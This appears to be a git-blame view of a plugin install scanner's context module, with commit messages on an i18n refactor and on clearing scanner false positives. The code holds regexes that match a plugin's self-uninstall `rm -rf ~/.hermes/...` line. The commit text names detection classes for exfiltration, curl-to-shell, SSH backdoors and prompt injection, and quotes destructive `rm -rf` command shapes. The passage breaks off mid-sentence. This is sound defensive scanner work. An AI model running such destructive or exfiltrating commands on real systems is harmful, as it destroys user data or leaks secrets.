feat(i18n): pluggable, layered language packs across core, Desktop and TUI (#126296) * feat(i18n): layered catalogs — plugin packs and user overlay over bundled locales * feat(tui): i18n layer — en catalog, nanostore runtime, RPC pack loader, _keys.tui.json emitter ui-tui/src/i18n/: en.ts (facade over topical siblings under en/), types.ts (Translations + dotted TranslationKey derived from en), runtime.ts ($locale/ $catalog atoms, translateFrom active→en→key, pack merge with string→fn wrapping for {0}/{1} placeholders), loader.ts (display.language → i18n.catalog {lang, surface:'tui'}, English when the method is missing), useT()/useLocale() hooks, t() for non-React code. useConfigSync feeds the loader from the existing config.get full hydration. `npm run i18n:keys` writes locales/_keys.tui.json (sorted flat key list) and runs before build. * feat(plugins): provides_locales manifest field, ctx.register_locale/register_locale_dir, manifest-only language packs * chore(tui): split en catalog siblings by lane (slash sibling) * feat(plugins): validate language packs — parse, text-only, key-subset WARN against en / _keys exports * feat(tui_gateway): i18n.languages / i18n.catalog RPC + regenerated contracts * feat(config): display.language accepts any supported_languages() id, refuses unknown ids with the list * docs(i18n): language packs user guide, pluggable display.language, plugin developer section, AGENTS notes * feat(plugins): report language-pack layers in the mid-run activation summary * feat(tui): wire status bar, composer placeholders, hotkey help and approval/clarify/confirm prompts through i18n StatusRule maps compared state values (ready/running…/summoning) to catalog text at render via displayStatus(); hotkeys()/placeholder() resolve lazily so a pack that arrives after boot applies. Catalog grows to 81 keys. * feat(desktop): pluggable app locales — registry, host.i18n.registerAppLocale, backend packs, keys emitter - Locale widens to string (BundledLocale keeps the union); TRANSLATIONS stays the bundled record and every consumer resolves through the registry. - src/i18n/registry.ts: registerAppLocale(id, {endonym, rtl, translations}) layers partial packs (nested or flat dotted) over bundled/en via mergeTranslations; a string over a function-valued en entry becomes a positional {0}/{1} formatter; $appLocaleVersion bumps so translators re-render; per-source disposers + replaceAppLocaleSource for atomic swaps. - Backend packs: i18n.languages + i18n.catalog {surface:'desktop'} feed the registry as source 'backend' (method-not-found is silent); re-synced on socket open, display.language change and profile switch. A saved pack-only language is promoted once its pack registers. - SDK: host.i18n.registerAppLocale / languageOptions; ctx.i18n.registerAppLocale tracked for unload. Docs in the desktop plugin SDK guide + skill reference. - Language switcher lists bundled ∪ registered ∪ backend, endonym-only; RTL from the registry (applyDocumentLocale takes rtl). - npm run i18n:keys emits locales/_keys.desktop.json (wired into build). * i18n(cli): route /topup + /subscription copy through t() (cli.billing.*, cli.subscription.*) Module-level copy tables and modal choice tuples in cli_billing_mixin.py froze English at import, before display.language was known. They are now key tables / builder functions evaluated at call time; every user-facing line in the /usage balance block, /subscription and the five /topup screens reads the catalog. Choice VALUES stay English identifiers. Fragment-assembled status lines (Plan: … → cancels · $x left · renews …) become full templates. * i18n(gateway): exec-approval card contract + base/run/run_busy/run_inbound replies through t() - base_exec_approval: EA_* English constants stay; add ea_header_text()/ea_reason_label_text()/ ea_smart_deny_line_text()/ea_default_reason_text()/ea_action_labels()/approval_timed_out_notice() accessors; deadline + timed-out notice resolve via gateway.exec_approval.* - BasePlatformAdapter._EA_HEADER/_EA_REASON_LABEL/_EA_SMART_DENY_LINE/_EA_ACTION_LABELS become properties (adapters still shadow them with markup class attrs) - run.py: provider error replies table holds catalog keys; _CONTEXT_OVERFLOW_REPLY -> _context_overflow_reply() - run_busy/run_inbound: typed approval + slash-confirm matchers accept English ∪ approval.inputs.* (t()) - locales/en.yaml: gateway.exec_approval/busy/errors/... namespaces * i18n(cli): wire modal, loops, agent-setup mixins through t() (cli.* keys) * i18n(platforms): route Slack, Matrix and Feishu user-facing text through t() Exec-approval markup overrides (_EA_HEADER/_EA_REASON_LABEL/_EA_SMART_DENY_LINE/ _EA_ACTION_LABELS) become per-call properties over the shared gateway.exec_approval.* contract keys, so Slack's 3000-char section budget measures the resolved template. Slack _APPROVAL_DECISIONS/_CONFIRM_DECISIONS, Feishu _APPROVAL_LABEL_MAP and Matrix _EA_LEGEND/_EA_TYPED_HINT turn into key tables resolved at click time; the Matrix typed hints become whole sentences per offered tier instead of spliced fragments. Slack button labels are cut to 75 chars and select placeholders to 150 after translation; the model-facing clarify fallback answer ('choice N') stays English while the card copy localizes. locales/en.yaml gains the gateway.exec_approval.* contract keys plus the platform.shared.* / platform.slack.* / platform.matrix.* / platform.feishu.* namespaces (and the keys for the other adapters wired in follow-up commits). * i18n(gateway): run_turn / run_turn_runner / approval-settle copy through t() - status hints, proxy errors, background task notices, progress heartbeats, session info lines - tool progress chrome (tool_head/tool_pending/tool_preview/tool_verbose) shared by base.format_tool_event - run_turn_runner:1406 Chinese clarify placeholder -> gateway.clarify.native_stream_placeholder (zh text kept in zh.yaml) - _UNEXPECTED_SILENCE_REPLY/_CLARIFY_EXPIRED_NOTICE -> accessor functions * i18n(platforms): route Google Chat and Teams user-facing text through t() Google Chat clarify card, typing placeholder, orphan-card labels and the whole /setup-files reply set (module constants become platform.google_chat.setup_files.* keys resolved at reply time). The attachment-fallback notice that shipped hardcoded in Spanish is keyed with an English en value; es.yaml carries the original Spanish text for those four keys. Teams approval card header/reason use the gateway.exec_approval.* contract, _APPROVAL_LABELS becomes a key table resolved at click time, and the meeting summary writer resolves its section headings/fallbacks per render. * i18n(platforms): route LINE, WeCom, email, DingTalk, IRC and Home Assistant text through t() LINE default copy constants become catalog keys resolved in __init__ (the LINE_*_TEXT / extra.* operator overrides still win); the busy-ack bypass matcher keys on the leading emoji marker only, so it keeps firing once the gateway busy heads are localized. WeCom media size/format notices that shipped hardcoded in Chinese are keyed with English en values and zh.yaml carries the original Chinese text. DingTalk emotion bubbles resolve per send. * i18n(cli): route /model switch output and -q status lines through t() (cli.model.*, cli.single_query.*) Switch-summary labels shared with the gateway reuse gateway.model.* keys (provider/context/max-output/capabilities/prompt-caching); CLI-only variants (glyph or no-backtick forms) live under cli.model.*. The hand-padded /model usage block becomes a (form, description-key) table padded at render time so the command syntax stays fixed while descriptions translate. -q 'Error:' reuses gateway.model.error_prefix. * i18n(cli): route TUI panel/hint/placeholder copy through t() (cli.tui.*) _APPROVAL_CHOICE_LABELS and _TUI_MODAL_HINTS become key tables resolved at render time; vault/sudo panel bodies are one catalog value per panel split on newline; inline plurals use <key>_one/<key>_other. Adds the cli.* namespace (shared/tui/voice/render/subagents/dock) to locales/en.yaml. * i18n(cli): voice/wake-word CLI copy through t() (cli.voice.*) RuntimeError texts raised in _voice_start_recording are human copy (callers print {e}) and are keyed; the Termux requirement-check match stays English. Wake state ids stay internal, only their labels localize. * i18n(cli): live-work dock, subagent monitor and render copy through t() cli.subagents.* / cli.dock.* / cli.render.*; count fragments pluralize via _one/_other keys, verdict table holds keys resolved at paint time so width clipping measures the translated text. * i18n(gateway): unauthorized/pairing, voice, topics, shutdown, startup, notifications, kanban pings through t() * i18n(cli): move tips + composer placeholders into the catalog (tips.tNNN / tips.placeholder.pNN) get_random_tip()/get_random_composer_placeholder() pick a key from the English catalog (the parity baseline, probed once per process) and resolve it through t() for the active language, so language packs translate tips like any other string. Also lands the cli.* en.yaml namespace consumed by the CLI info/help/error-copy wiring in the next commit. * i18n(cli): wire chat-turn + session mixins through t(); kanban log trimmer matches t() output * test(cli): assert TUI/dock/voice copy via t(key); prove labels resolve at render time Pinned-English assertions in the approval-UI, live-work dock and voice tests now go through the catalog. New test swaps the catalog after import and checks the approval panel + hint row follow it (the reason _APPROVAL_CHOICE_LABELS and _TUI_MODAL_HINTS became key tables). * i18n(cli): route CLI info/help/error copy through t() (cli.* namespace) cli_info_mixin: /help consumes CommandDef.describe() (added to commands.py: slash.<name>.description with fallback to .description), section titles/skill/quick-command headers, /tools, /toolsets, /usage labels, /context, /whoami, /insights, /gateway status, tool-progress labels, bang-shell denials, MCP config-watch + /reload-mcp confirm/reload lines, /reload-skills, and the session-store warning all read the catalog at call time (module-level label tables became functions so the active language is honoured after startup). cli.py: worktree cleanup, tirith warning, show_config (labels re-padded at print time), quick/plugin/skill slash-command errors, ambiguous-command hint, stdin error, gateway start, profile warning. cli_chat_error_copy / cli_unknown_command / cli_output / cli_init_mixin: chat error panel copy, did-you-mean lines, n-more / yes-no prompt (localized affirmative initial alongside 'y'), unknown-toolsets warning. * i18n(w1a): wire agent display/explainers/approval + slash registry/help through t() - hermes_cli/commands.py: CommandDef.describe() resolves slash.<name>.description at call time; category labels via slash.category.*; help/alias/usage suffixes via slash.shared.*; gateway_help_lines and commands_platforms/slash_exec use them. - agent/display.py: display.verb.* resolved at call time via get_tool_verb(); bridge/spinner/thinking-verb/cute-row/failure/preview/diff text via display.*. - agent/turn_explainers.py: exit-reason / persistence-cause tables become call-time lookups (explainer.exit.*, explainer.persistence.*, explainer.file_mutation.*). - agent/background_review.py, session_activity.py, context_breakdown.py, status_output.py: review summaries, iteration progress, context notices. - tools/approval.py, approval_context.py: approval.summary.*, approval.noun.*, approval.window.* pluralized keys. - gateway/slash_commands*.py: remaining raw strings (busy, whoami, platform, bundles, memory, skills, approvals, set_home, diff, update, debug, profile, heartbeat, refine, review, subgoal, loop, retry, compress codex path, save, sessions, model guard/errors, agents rows, topup, login). HISTORY_UNREADABLE keeps its English constant; callers use history_unreadable() -> gateway.shared.history_unreadable. - locales/en.yaml: new approval/display/explainer/slash blocks + gateway leftovers. * i18n(telegram): route adapter chat copy through t() Approval card (header/reason/smart-deny as HTML-escaped properties), inline button labels, callback toasts (cut at Telegram's 200-char cap), model/choice pickers, clarify/update/slash-confirm prompts, gmail-triage labels and the inbound-media failure notice now come from the catalog. _UNAUTHORIZED is a lazy _unauthorized() so the import no longer binds a language. The command menu carries a language+payload fingerprint (forum scopes re-register on change) and BotCommand descriptions are cut at 256. Adds gateway.exec_approval.* (WAVE2 contract), platform.telegram.*, platform.discord.* and the slash.*.description keys the Discord table shares with the CLI registry to locales/en.yaml. * i18n(gateway/platforms): whatsapp_cloud, yuanbao, weixin, signal, api_server copy through t() - whatsapp_cloud: clarify list/buttons, approve/deny + slash-confirm labels via platform.whatsapp.* (t()-then-truncate at 20/24/72 caps); _EA_HEADER becomes a property wrapping ea_header_text() - yuanbao: SLOW_RESPONSE_MESSAGE -> slow_response_message() (platform.yuanbao.slow_response_notice; zh keeps the original text); cron-wrapper markers centralized as module constants for strip_cron_wrapper - api_server: PROVIDER_AUTH_FAILED_LABEL/PROVIDER_RATE_LIMITED_LABEL stay English for run.py matchers; user_text() renders via t() - signal/_format_wait, weixin voice caption, openai_routes transformed notice - run_turn: second _UNEXPECTED_SILENCE_REPLY consumer -> accessor * i18n(discord): route adapter chat copy through t() Native slash-command table becomes _NATIVE_SLASH_COMMAND_SPECS holding catalog keys; _native_slash_commands() resolves descriptions, parameter descriptions and Choice names for the active language, each cut at Discord's 100-char cap, and the app-command sync fingerprint now includes get_language() so a display.language change re-syncs. Exec-approval card (gateway.exec_approval.* contract), slash-confirm / clarify / update views, model+choice pickers, thread creation, forum titles, voice acks, the response-truncation notice, the unauthorized-slash security alert and the media upload-size notices all read from platform.discord.*. Decorator-declared button labels are relabelled in __init__ (80-char cap); embed titles cut at 256, select placeholders at 150, option label/description at 100. _UNAUTHORIZED is a lazy _unauthorized(). * i18n(cli): wire status-bar, stream, terminal mixins + terminal_input through t(); rename kwargs that shadow t(key) * i18n: wire hermes_cli/cli_commands_mixin.py slash-command copy through t() - 431 new leaves under cli.commands.<cmd>.* in locales/en.yaml; 12 rows reuse existing gateway.* keys (rollback, diff, resume, branch, btw, model, reasoning) via a _gt() helper so CLI and gateway replies stay identical. - Module-level English tables (_BUSY_MODE_*, _REASONING_TOGGLES, _HATCH_PROGRESS, _DIFF_LABELS, _LOCAL_ENGINE_LINES) become call-time catalog lookups keyed by id. - Verb tables (Enabling/Disabling, Paused/Resumed/Triggered, planned/done, Updating/Generating) are one full template per variant; plurals use <key>_one/<key>_other via _tn(); hand-padded column labels (/snapshot list) translate the value and re-pad at the call site. - Multi-line usage blocks are single catalog values split with _lines(). - Model-facing system notes and DB-stored reasons stay English (EXCLUDED). * tests: assert /handoff, /worktree, /login CLI copy via t(key) instead of pinned English * test(i18n): pin Telegram/Discord adapter catalog wiring Lazy unauthorized notice, exec-approval contract keys, HTML escaping before Telegram <b> wrapping, 200-char toast / 256-char BotCommand caps, Discord 100-char app-command text and 80-char button caps, and language-bearing command-menu fingerprints on both platforms. * i18n: reconcile cli.shared on/off vs enabled/disabled after lane merge * i18n: describe() in TUI-gateway slash listings; localize TUI exit resume hint * i18n(tr): translate bundled catalog + tui pack * i18n(ja): translate bundled catalog + tui pack * i18n(ko): translate bundled catalog + tui pack * i18n(zh): translate bundled catalog + tui pack * i18n(fr): translate bundled catalog + tui pack * i18n(af): translate bundled catalog + tui pack * i18n(uk): translate bundled catalog + tui pack * i18n(ar): translate bundled catalog + tui pack * i18n(pt): translate bundled catalog + tui pack * i18n(it): translate bundled catalog + tui pack * i18n(es): translate bundled catalog + tui pack * i18n(zh-hant): translate bundled catalog + tui pack * i18n(ru): translate bundled catalog + tui pack * i18n(hu): translate bundled catalog + tui pack * i18n(hu): translate pre-existing English-valued leftovers (kanban wake, /context, /status, fast labels) * i18n(de): translate bundled catalog + tui pack * i18n(ga): translate bundled catalog + tui pack * test(i18n): fixture matches _normalize_lang(lang, home) signature * i18n(tui): scaffold userMessages/slashCmd en siblings * i18n(tui): wire secure prompts + content tables * feat(tui): i18n — wire billing, subscription, connection-setup and journey overlays Adds en siblings billing.ts / subscription.ts / connection.ts (namespaces billing, subscription, connection, journey) and routes every user-facing literal in billingOverlay, subscriptionOverlay, connectionSetupOverlay and journey through useT()/messages(). Module-level label tables became lazy (scopeStillDeniedResult(), verbOf(T, action)); auto-reload rows dispatch on stable ids instead of label text. Regenerates locales/_keys.tui.json. * i18n(tui): wire slash ops/wake replies * i18n(tui): wire pickers (modelPicker, activeSessionSwitcher, petPicker) * i18n(tui): wire slash core/debug/setup replies * i18n(tui): wire hubs (agents overlay/panel/controls, skills, plugins) * i18n(tui): wire slash session/topup/subscription replies * i18n(tui): wire chat bits (branding, thinking, messageLine, loaders, todo, queued, banner, entry) * i18n(tui): register t3 siblings (pickers, hubs, secure, content, chatBits) and regenerate keys * i18n(tui): wire userMessages copy through the userMessages namespace * i18n(tui): lazy-copy test for userMessages, regenerate _keys.tui.json * i18n(tui): wire session/gateway/lib text through the TUI catalog (lane t2) Adds en siblings session.ts, gatewayMsg.ts, libText.ts (namespaces session, gatewayMsg, libText) and routes user-facing literals in app/{useMainApp, useSessionLifecycle,useInputHandlers,turnController,createServerRequestHandler, setupHandoff,createGatewayEventHandler}.ts, gatewayClient displayed reasons, lib/*, domain/*, hooks/* through t()/messages(). Status-bar state values that code compares against, backend-matched strings, log lines, model-bound text, and machine 'error:' prefixes stay literal. Regenerates locales/_keys.tui.json (232 keys). * i18n: serve bundled locales/<lang>.tui.yaml under overlay/packs; TUI pack parity test; regen _keys.tui.json (1250) * i18n: translate pre-existing English stubs in bundled locales (424 leaves, 14 locales) * tui: i18n-export-en script (English templates for pack translators) * docs(i18n): bundled TUI packs are the bottom layer of the tui surface * i18n(ru): translate TUI pack * i18n(ar): translate TUI pack * i18n(es): translate TUI pack * i18n(pt): translate TUI pack * i18n(ko): translate TUI pack * i18n(de): translate TUI pack * i18n(ja): translate TUI pack * i18n(fr): translate TUI pack * i18n(tr): translate TUI pack * i18n(it): translate TUI pack * i18n(zh): translate TUI pack * i18n(zh-hant): translate TUI pack * i18n(hu): translate TUI pack * i18n(uk): translate TUI pack 1,169 missing keys translated; 81 pre-existing kept byte-identical. Parity OK missing=0 extra=0 placeholder_mismatch=0 empty=0. Deliberately identical to en: chatBits.branding.mcpSummary ({0} MCP), chatBits.thinking.agentsHint ((/agents)), session.main.voiceStt (◉ STT), session.main.voiceTtsSuffix ( [tts]), slashCmd.core.help.tuiSection (TUI), slashCmd.core.history.hermesTag (Hermes #{0}), slashCmd.debug.heapdump.heapPath (heapdump: {0}), slashCmd.debug.mem.rss (rss), subscription.stepUp.title (Remote Spending — product feature name, as in core catalog), content.faces.* (glyph-only kaomoji). * i18n(ga): translate TUI pack * i18n(af): translate TUI pack * plugin_guard: locale catalogs in language packs step down the agent-config family A translated status line such as "Updating AGENTS.md" in locales/<lang>.yaml is UI text the loader reads as a string leaf; it cannot edit a file. The bundled en.yaml itself tripped agent_config_mod at critical, making any faithful language pack uninstallable. Injection shapes keep full severity. * plugin_validate_locales: read key exports with utf-8-sig (Windows footgun lint) * i18n(relay): route relay adapter prompt copy through t(); drop dead import-bound approval header Adds platform.relay.* (5 keys) to en and all 16 bundled locales, reusing the sibling platform translations for the confirm buttons and the Other option. * ci: fix TUI import order, MDX table pipe, main's overflow-warning wording in all locales; fresh-install fixture carries the i18n kernel - ui-tui/src/i18n/en.ts: perfectionist/sort-imports (slash before slashCmd) - docs plugins/index.md: escape the | inside the provides_locales table cell (MDX parsed <id> as JSX) - display.notice.uncompressed_context_overflow: adopt main's wording (names compression.enabled: false and /compact) in en + 16 locales; the guardrail test pins that phrase - tests/scripts/test_fresh_source_install.py: the installer tail now resolves CLI text through agent.i18n, so the fixture tree carries the i18n kernel + en.yaml (not the agent runtime) * docs(desktop-plugin-sdk): double-backtick the template-literal example (MDX evaluated ${n}) * test(e2e): display.language is validated against the live language set; exclude it from the arbitrary-string set property * commands: keep the localized COMMANDS/COMMANDS_BY_CATEGORY module __getattr__ after the compat block removal * build: never write locales/_keys.*.json from the desktop/TUI builds; regenerate the committed desktop key export The desktop build regenerated locales/_keys.desktop.json in the checkout, so a hermes update that rebuilt the app left the tree dirty (Desktop update E2E: 'M locales/_keys.desktop.json'). The key exports are committed artifacts pinned to en.ts by apps/desktop/scripts/i18n-keys.test.mjs and ui-tui i18n:keys:check; builds read them, never write them. Regenerated after main's new desktop strings. * test: unbreak two main-red timing tests the PR merge-ref inherits - test_local_runtime racing fake publishes the modern state record (legacy pid-only records are rejected since 65ff3ad353; main has been red on this test since) - test_run_progress_topics ManyProgressLinesAgent waits for the first bubble instead of a fixed 0.35s, which a loaded CI runner does not always meet * chore(i18n): regenerate desktop key catalog for main's new strings (model pricing, copy changelog) * test(e2e): torture-chamber fd monitor confirms a deleted sidecar is still held before calling it a leak SQLite's WAL last-close unlinks -shm before closing its descriptor (unixShmUnmap, then unixShmPurge), so a healthy close shows a (deleted) -shm for microseconds; the 20ms poll occasionally caught that window on the short-lived opener and failed the episode. * chore(i18n): regenerate desktop key catalog for main's telemetry/consent strings * chore(i18n): regenerate desktop key catalog after main sync --------- Co-authored-by: Teknium <teknium@nousresearch.com>
2026-09-28 14:16:18 -07:00
return prose_cap(finding)
fix(scanner): clear ~15 classes of install-scanner false positives (catalog sweep) The plugin install scanner blocked 53 of 543 catalog pins at `caution` on `plugin-guard-v10`, almost all false positives: a `caution` finding silently stops `plugins update` from following a reviewed catalog pin, so each one is user-blocking. This clears every FP class the full-catalog sweep surfaced at the pattern/context level, each proven with a red-on-base A/B (the benign shape goes safe, the attack twin of the same rule stays caution/dangerous on both trees) and gated by a whole-corpus zero-worse re-sweep: 38 pins move caution->safe, 0 move worse. Fixed (demote-never-delete — findings stay visible, verdict un-blocks): - destructive_home_rm on prose ("the platfoRM rOute to ~/.hermes") — left word boundary on rm/rmdir. - self-uninstall docs: widened to ~/.hermes/profiles/<p>/{plugins,roles}/<x>, desktop-plugins/<x>, ~/.hermes/<name>, multiple operands, and a backtick span. - dump_all_env on JS `env ||`, Python `env | {...}`, the regex tail of `virtualenv|venv`. - curl_pipe_shell for named trusted installers (hermes/ollama/bun/raw install scripts); untrusted domains keep full severity in README, code AND CI. - sudo_usage: advisory `sudo apt install` hints, "never ... sudo" safety text, `sudo.expire` events, the plugin's own command-parser regex; genuine sudo (gbrain, secure-env-ingress) stays flagged. - context_exfil on disclosure prose / a `"context":` JSON field / "share no context"; external-recipient and scoped-conversation exfil still flag. - prompt_injection_ignore on a quoted phrase in a CHANGELOG / code comment that documents the plugin's own filter. - path_traversal_deep on `../../..` repo-root climbs in build scripts (no sensitive leaf); traversal into /etc/passwd, ~/.ssh keeps severity. - /etc/passwd in refusal tests (first-arg vs later-arg exec distinction). - exec_string on an SDK `.exec("tar", ...)` method (not the exec() builtin). - dns_exfil on `dig +short A ${host}` lookups; interpolation into an attacker subdomain still flags. - python_import_os on `__import__("os").environ.get(...)` / `.fsync(...)`. - base64_decode_pipe on a `tar c | base64 | base64 -d | tar x` transport round-trip; an embedded `base64 -d | tar x` payload keeps severity. - agent_config_mod on a localized "Updating AGENTS.md" UI string. - hermes_config_mod / ssh_backdoor as disclosed-behaviour notes in install docs / UI strings (mindgraph, memlock, hermes-ssh); shell writes stay critical. - is_ci_workflow now also covers .gitlab-ci.yml. Bumps PLUGIN_SCANNER_VERSION -> plugin-guard-v11 and SCANNER_VERSION -> skills-guard-v10 (cached verdicts are keyed on these; the bump un-blocks the quarantined packages). Complexity held under the ratchet by extracting `_inert_context_cap`. Scanner test suites green; added benign/attack invariant pairs for each class plus a version-contract test.
2026-10-11 04:09:30 -07:00
# A README "Uninstall" section removing the plugin's OWN install directory under ``~/.hermes`` is the one
# destructive shape that is harmless by construction: one ``rm``, every operand rooted at
# ``$HOME``/``${HOME}``/``~`` + ``/.hermes/`` with a plain segment path and a plain leaf — no glob, no
# ``..``, nothing chained. Documented shapes: ``plugins/<name>`` / ``skills/<name>``, a profile-scoped
# ``profiles/<profile>/{plugins,roles,...}/<name>``, ``desktop-plugins/<name>``, and the plugin's own
# data dir ``~/.hermes/<name>`` — and up to a few such operands on one line (``rm -rf ~/.hermes/profiles/N/plugins/crew
# ~/.hermes/profiles/N/roles/crew``). It lands at medium (a note). A wider target (``$HOME``, ``$HOME/.hermes``,
# ``$HOME/.hermes/plugins/*``) only gets the generic prose step (high, caution) and the same line in a ``.sh``
# stays critical (#115353).
_UNINSTALL_HOME = r'(?:\$HOME|\$\{HOME\}|~)/\.hermes'
def _uninstall_operand(group: str) -> str:
"""One ``~/.hermes/<segments>/<leaf>`` operand, optionally quoted (quote tracked by *group*)."""
return (rf'(?P<{group}>["\']?)' + _UNINSTALL_HOME
+ rf'(?:/[A-Za-z0-9][A-Za-z0-9._-]*)+/?(?P={group})')
# ``rm`` plus one or more such operands on the line (``crew`` deletes a plugins dir and a roles dir):
# distinct capture-group names so the optional-quote backreferences do not collide.
fix(plugins): install scanner scores inert context as context, not as plugin behaviour A plugin repository is a codebase, and the threat regexes were written for a SKILL.md the agent executes verbatim. The same text in a README uninstall step, a refusal list, a test fixture, a JSON scenery data URI, a redaction regex or a `gh api | base64 -d | grep` dev script was scored as the plugin's own runtime behaviour: crypto-prices (#115353) was hard-blocked by `rm -rf "$HOME/.hermes/plugins/crypto-prices"` in its README, and a dozen catalog pins sat at `caution` on fixtures and prose alone. `tools/plugin_guard_context.py` recognises each class of inert context and only ever lowers a finding; nothing is deleted and every finding stays in the report: - documentation prose (`.md/.txt/.rst/.html`, not `SKILL.md`, `after-install.md` or a bundled `skills/` tree): command/path shapes step down once, so a doc line can never be `dangerous`; the plugin's own-install-dir `rm` is a note. Injection, Markdown exfil, agent-config edits, `curl | sh`, `authorized_keys` and leaked keys keep full severity. - test trees / fixtures (root test dirs, `__tests__`/`__fixtures__` at any depth, `*.test.*`, `test_*.py`): quoted-only hostile strings and key-shaped corpora are notes; test code that executes on import steps down once (caution). - whole-line comments and CHANGELOG.md score as prose. - `encoded_exfil` on base64 whose decoded head is a media magic (PNG/JPEG/WOFF/PDF...) is informational. - `sudo` / `env|` as an alternation member inside a regex or string literal is a note; the same word in a command string is not. - `base64 -d` piped into a text filter is a note; into a shell/interpreter it is not. Bumps PLUGIN_SCANNER_VERSION to v5 so cached verdicts re-evaluate. Closes-blocker-for: #115353
2026-09-19 02:23:36 -07:00
_SELF_UNINSTALL_RM = re.compile(
r'^(?:\$\s*)?rm\s+(?:-[a-zA-Z]+\s+)*'
fix(scanner): clear ~15 classes of install-scanner false positives (catalog sweep) The plugin install scanner blocked 53 of 543 catalog pins at `caution` on `plugin-guard-v10`, almost all false positives: a `caution` finding silently stops `plugins update` from following a reviewed catalog pin, so each one is user-blocking. This clears every FP class the full-catalog sweep surfaced at the pattern/context level, each proven with a red-on-base A/B (the benign shape goes safe, the attack twin of the same rule stays caution/dangerous on both trees) and gated by a whole-corpus zero-worse re-sweep: 38 pins move caution->safe, 0 move worse. Fixed (demote-never-delete — findings stay visible, verdict un-blocks): - destructive_home_rm on prose ("the platfoRM rOute to ~/.hermes") — left word boundary on rm/rmdir. - self-uninstall docs: widened to ~/.hermes/profiles/<p>/{plugins,roles}/<x>, desktop-plugins/<x>, ~/.hermes/<name>, multiple operands, and a backtick span. - dump_all_env on JS `env ||`, Python `env | {...}`, the regex tail of `virtualenv|venv`. - curl_pipe_shell for named trusted installers (hermes/ollama/bun/raw install scripts); untrusted domains keep full severity in README, code AND CI. - sudo_usage: advisory `sudo apt install` hints, "never ... sudo" safety text, `sudo.expire` events, the plugin's own command-parser regex; genuine sudo (gbrain, secure-env-ingress) stays flagged. - context_exfil on disclosure prose / a `"context":` JSON field / "share no context"; external-recipient and scoped-conversation exfil still flag. - prompt_injection_ignore on a quoted phrase in a CHANGELOG / code comment that documents the plugin's own filter. - path_traversal_deep on `../../..` repo-root climbs in build scripts (no sensitive leaf); traversal into /etc/passwd, ~/.ssh keeps severity. - /etc/passwd in refusal tests (first-arg vs later-arg exec distinction). - exec_string on an SDK `.exec("tar", ...)` method (not the exec() builtin). - dns_exfil on `dig +short A ${host}` lookups; interpolation into an attacker subdomain still flags. - python_import_os on `__import__("os").environ.get(...)` / `.fsync(...)`. - base64_decode_pipe on a `tar c | base64 | base64 -d | tar x` transport round-trip; an embedded `base64 -d | tar x` payload keeps severity. - agent_config_mod on a localized "Updating AGENTS.md" UI string. - hermes_config_mod / ssh_backdoor as disclosed-behaviour notes in install docs / UI strings (mindgraph, memlock, hermes-ssh); shell writes stay critical. - is_ci_workflow now also covers .gitlab-ci.yml. Bumps PLUGIN_SCANNER_VERSION -> plugin-guard-v11 and SCANNER_VERSION -> skills-guard-v10 (cached verdicts are keyed on these; the bump un-blocks the quarantined packages). Complexity held under the ratchet by extracting `_inert_context_cap`. Scanner test suites green; added benign/attack invariant pairs for each class plus a version-contract test.
2026-10-11 04:09:30 -07:00
+ _uninstall_operand("q0")
+ r'(?:\s+' + _uninstall_operand("q1") + r')*'
+ r'\s*(?:#.*)?$'
)
# The same shape embedded in a backtick code span mid-prose (``… When you're done, `rm -rf
# ~/.hermes/profiles/lancedb-demo` removes all trace``): the span must contain ONLY the ``rm`` and its
# ``~/.hermes`` operands and then close (no chaining, no ``&&``, no trailing command), so a chained or
# force-push example (``rm -rf ~/x && git push --force``) does not qualify.
_SELF_UNINSTALL_RM_IN_SPAN = re.compile(
r'`(?:\$\s*)?rm\s+(?:-[a-zA-Z]+\s+)*'
+ _uninstall_operand("q2")
+ r'(?:\s+' + _uninstall_operand("q3") + r')*\s*`'
fix(plugins): install scanner scores inert context as context, not as plugin behaviour A plugin repository is a codebase, and the threat regexes were written for a SKILL.md the agent executes verbatim. The same text in a README uninstall step, a refusal list, a test fixture, a JSON scenery data URI, a redaction regex or a `gh api | base64 -d | grep` dev script was scored as the plugin's own runtime behaviour: crypto-prices (#115353) was hard-blocked by `rm -rf "$HOME/.hermes/plugins/crypto-prices"` in its README, and a dozen catalog pins sat at `caution` on fixtures and prose alone. `tools/plugin_guard_context.py` recognises each class of inert context and only ever lowers a finding; nothing is deleted and every finding stays in the report: - documentation prose (`.md/.txt/.rst/.html`, not `SKILL.md`, `after-install.md` or a bundled `skills/` tree): command/path shapes step down once, so a doc line can never be `dangerous`; the plugin's own-install-dir `rm` is a note. Injection, Markdown exfil, agent-config edits, `curl | sh`, `authorized_keys` and leaked keys keep full severity. - test trees / fixtures (root test dirs, `__tests__`/`__fixtures__` at any depth, `*.test.*`, `test_*.py`): quoted-only hostile strings and key-shaped corpora are notes; test code that executes on import steps down once (caution). - whole-line comments and CHANGELOG.md score as prose. - `encoded_exfil` on base64 whose decoded head is a media magic (PNG/JPEG/WOFF/PDF...) is informational. - `sudo` / `env|` as an alternation member inside a regex or string literal is a note; the same word in a command string is not. - `base64 -d` piped into a text filter is a note; into a shell/interpreter it is not. Bumps PLUGIN_SCANNER_VERSION to v5 so cached verdicts re-evaluate. Closes-blocker-for: #115353
2026-09-19 02:23:36 -07:00
)
def is_self_uninstall_doc(finding: Finding, line: str) -> bool:
fix(scanner): clear ~15 classes of install-scanner false positives (catalog sweep) The plugin install scanner blocked 53 of 543 catalog pins at `caution` on `plugin-guard-v10`, almost all false positives: a `caution` finding silently stops `plugins update` from following a reviewed catalog pin, so each one is user-blocking. This clears every FP class the full-catalog sweep surfaced at the pattern/context level, each proven with a red-on-base A/B (the benign shape goes safe, the attack twin of the same rule stays caution/dangerous on both trees) and gated by a whole-corpus zero-worse re-sweep: 38 pins move caution->safe, 0 move worse. Fixed (demote-never-delete — findings stay visible, verdict un-blocks): - destructive_home_rm on prose ("the platfoRM rOute to ~/.hermes") — left word boundary on rm/rmdir. - self-uninstall docs: widened to ~/.hermes/profiles/<p>/{plugins,roles}/<x>, desktop-plugins/<x>, ~/.hermes/<name>, multiple operands, and a backtick span. - dump_all_env on JS `env ||`, Python `env | {...}`, the regex tail of `virtualenv|venv`. - curl_pipe_shell for named trusted installers (hermes/ollama/bun/raw install scripts); untrusted domains keep full severity in README, code AND CI. - sudo_usage: advisory `sudo apt install` hints, "never ... sudo" safety text, `sudo.expire` events, the plugin's own command-parser regex; genuine sudo (gbrain, secure-env-ingress) stays flagged. - context_exfil on disclosure prose / a `"context":` JSON field / "share no context"; external-recipient and scoped-conversation exfil still flag. - prompt_injection_ignore on a quoted phrase in a CHANGELOG / code comment that documents the plugin's own filter. - path_traversal_deep on `../../..` repo-root climbs in build scripts (no sensitive 